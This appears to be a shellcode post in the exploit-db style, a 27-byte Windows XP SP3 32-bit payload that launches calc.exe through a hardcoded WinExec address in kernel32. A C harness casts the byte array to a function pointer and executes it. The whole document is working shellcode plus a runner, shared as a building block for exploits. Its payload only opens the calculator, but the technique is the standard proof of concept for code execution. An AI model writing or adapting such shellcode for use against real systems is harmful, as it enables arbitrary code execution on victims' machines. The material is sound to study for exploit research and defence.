27 Bytes - Windows XP SP3 (en) calc win32 Shellcode

/*

==========================================================================
___ _ __ __ __ _ __
____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _
/ __ / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __ / __ / __ `/
/ /_/ / / /_/ / / /_/ /_/ / /_____/ __/ /__/ / / / / /_/ / / / / /_/ /
__,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/
/____/ http://www.digital-echidna.org

==========================================================================

Title : Windows XP SP3 (EN) 32-bit - calc Shellcode 27 bytes
Author : otoy
Tested on : WinXP Pro SP3 (EN) 32 bit
Greetz :
say hello to all digital-echidna org crew:
modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix

special thx to offsec, exploit-db and corelan team */

/*shellcodetest.c*/

char code[] =
"\x31\xc0\x50\x68\x63"
"\x61\x6c\x63\x89\xe3"
"\x50\x53\xbb"
"\xfd\x29\x86\x7c" /*Kernel32.dll.WinExec*/
"\xff\xd3\x50\xbb"
"\xfa\xca\x81\x7c" /*Kernel32.dll.ExitProcess*/
"\xff\xd3";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}